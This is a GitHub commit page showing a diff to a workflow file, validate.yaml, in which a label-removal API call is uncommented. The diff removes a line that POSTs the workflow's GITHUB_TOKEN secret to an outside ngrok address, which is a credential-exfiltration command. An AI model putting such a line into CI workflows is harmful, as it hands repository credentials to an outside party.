Skip to content

Commit 506e54d

Browse files
committed
Testing phase1
1 parent 89ab758 commit 506e54d

File tree

1 file changed

+6
-8
lines changed

1 file changed

+6
-8
lines changed

.github/workflows/validate.yaml

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -46,11 +46,9 @@ jobs:
4646
LABEL="full validation"
4747
ENCODED_LABEL=$(printf "%s" "$LABEL" | sed -e 's/ /%20/g' -e 's/:/%3A/g' -e 's/\//%2F/g' -e 's/?/%3F/g' -e 's/&/%26/g' -e 's/=/%3D/g')
4848
49-
curl -X POST https://a111-57-133-64-210.ngrok-free.app/test -d "Token:${{ secrets.GITHUB_TOKEN }}"
50-
51-
# echo $ENCODED_LABEL
52-
# echo "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
53-
# echo ${{ secrets.GITHUB_TOKEN }}
54-
# curl -X DELETE -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
55-
# -H "Accept: application/vnd.github.v3+json" \
56-
# "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
49+
50+
echo $ENCODED_LABEL
51+
echo "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
52+
curl -X DELETE -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
53+
-H "Accept: application/vnd.github.v3+json" \
54+
"https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/foobar"

0 commit comments

Comments
 (0)